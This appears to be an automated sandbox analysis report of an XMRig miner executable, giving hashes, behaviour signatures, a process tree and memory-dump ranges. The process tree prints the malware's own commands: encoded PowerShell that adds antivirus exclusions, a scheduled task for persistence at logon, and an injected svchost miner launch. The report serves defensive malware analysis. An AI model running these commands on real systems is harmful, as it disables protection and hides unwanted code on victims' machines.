Analysis

  • max time kernel
    121s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    02/01/2022, 07:47

General

  • Target
    83d92a4b4879535e3641b9b57011ad84.exe
  • Size 5.5MB
  • Sample220102-jmh8dsggbn
  • SHA256 d4142d1a7e14ae837548204e7ca53bb1b6cf293c5b0e7ff4a58e9b22246be55e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 12 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\83d92a4b4879535e3641b9b57011ad84.exe
    "C:\Users\Admin\AppData\Local\Temp\83d92a4b4879535e3641b9b57011ad84.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1844
    • C:\Windows\system32\cmd.exe
      "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1656
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:472
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:516
    • C:\Windows\system32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "system64set" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\system64set.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1916
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "system64set" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\system64set.exe"
        3⤵
        • Creates scheduled task(s)
        PID:1592
    • C:\Windows\system32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\system64set.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1596
      • C:\Users\Admin\AppData\Roaming\Microsoft\system64set.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\system64set.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1628
        • C:\Windows\system32\cmd.exe
          "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1016
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
            5⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:852
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
            5⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1768
        • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1492
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "ublpssdabrp"
            5⤵
              PID:972
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe ftudwsokaz0 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRha9S4YJkR8/KlqFio/vzAY7y//ZROYnArPXLiffwPBwqPBiZqwbH6hVYjOkymsAJbBDyPud3Elmix9A9JxHOAEkTQcbyF5QZVg8imBGgrgClJJi1HI+qXazcX3/uPOQF7bEmjTmsrS0OsYntS/n58sGwzXcAXXrcXqWMN/Jg8jLZZn7nZmWqPAthxG5vGQvKRA3bY6O2RuRMicuhIfboTwJz/B58rpNNibasKFWtPBwLIcVoyftKS+2jQB6Y6Fs63aA51o8EXdqIKMZ2NzxeB0DHRBVk4sfnlUs6x5b3ktg==
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1496

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/472-62-0x000007FEEC7B0000-0x000007FEED30D000-memory.dmp

          memory/472-64-0x00000000024A0000-0x00000000024A2000-memory.dmp

          memory/472-66-0x00000000024A4000-0x00000000024A7000-memory.dmp

          memory/472-65-0x00000000024A2000-0x00000000024A4000-memory.dmp

          memory/472-67-0x00000000024AB000-0x00000000024CA000-memory.dmp

          memory/472-61-0x000007FEFBAD1000-0x000007FEFBAD3000-memory.dmp

          memory/516-71-0x000007FEEC840000-0x000007FEED39D000-memory.dmp

          memory/516-74-0x0000000002834000-0x0000000002837000-memory.dmp

          memory/516-72-0x0000000002830000-0x0000000002832000-memory.dmp

          memory/516-73-0x0000000002832000-0x0000000002834000-memory.dmp

          memory/516-75-0x000000000283B000-0x000000000285A000-memory.dmp

          memory/852-95-0x00000000025D4000-0x00000000025D7000-memory.dmp

          memory/852-93-0x00000000025D0000-0x00000000025D2000-memory.dmp

          memory/852-94-0x00000000025D2000-0x00000000025D4000-memory.dmp

          memory/852-88-0x000007FEEB860000-0x000007FEEC3BD000-memory.dmp

          memory/852-96-0x000000001B770000-0x000000001BA6F000-memory.dmp

          memory/852-97-0x00000000025DB000-0x00000000025FA000-memory.dmp

          memory/972-132-0x00000000000A0000-0x00000000000B2000-memory.dmp

          memory/972-134-0x000000001AE24000-0x000000001AE26000-memory.dmp

          memory/972-135-0x000000001AE26000-0x000000001AE27000-memory.dmp

          memory/972-136-0x000000001AE27000-0x000000001AE28000-memory.dmp

          memory/972-133-0x000000001AE22000-0x000000001AE24000-memory.dmp

          memory/972-130-0x0000000000270000-0x0000000000276000-memory.dmp

          memory/972-128-0x00000000001D0000-0x00000000001E2000-memory.dmp

          memory/972-129-0x00000000001D0000-0x00000000001E2000-memory.dmp

          memory/1496-116-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-127-0x0000000002050000-0x0000000002070000-memory.dmp

          memory/1496-121-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-120-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-119-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-118-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-122-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-126-0x0000000001F90000-0x0000000001FB0000-memory.dmp

          memory/1496-113-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-125-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-117-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-124-0x0000000000070000-0x0000000000090000-memory.dmp

          memory/1496-115-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-114-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-110-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-111-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1496-112-0x0000000140000000-0x0000000140787000-memory.dmp

          memory/1628-82-0x000000001C960000-0x000000001CD76000-memory.dmp

          memory/1628-90-0x000000001C4C4000-0x000000001C4C6000-memory.dmp

          memory/1628-83-0x000000001C960000-0x000000001CD76000-memory.dmp

          memory/1628-89-0x000000001C4C2000-0x000000001C4C4000-memory.dmp

          memory/1628-91-0x000000001C4C6000-0x000000001C4C7000-memory.dmp

          memory/1628-92-0x000000001C4C7000-0x000000001C4C8000-memory.dmp

          memory/1768-104-0x00000000027C2000-0x00000000027C4000-memory.dmp

          memory/1768-106-0x00000000027CB000-0x00000000027EA000-memory.dmp

          memory/1768-105-0x00000000027C4000-0x00000000027C7000-memory.dmp

          memory/1768-103-0x00000000027C0000-0x00000000027C2000-memory.dmp

          memory/1768-102-0x000007FEEB8F0000-0x000007FEEC44D000-memory.dmp

          memory/1844-63-0x000000001C367000-0x000000001C368000-memory.dmp

          memory/1844-53-0x0000000000B70000-0x0000000000F87000-memory.dmp

          memory/1844-56-0x000000001C362000-0x000000001C364000-memory.dmp

          memory/1844-58-0x000000001C366000-0x000000001C367000-memory.dmp

          memory/1844-57-0x000000001C364000-0x000000001C366000-memory.dmp

          memory/1844-55-0x000000001C900000-0x000000001CD16000-memory.dmp

          memory/1844-54-0x000000001C900000-0x000000001CD16000-memory.dmp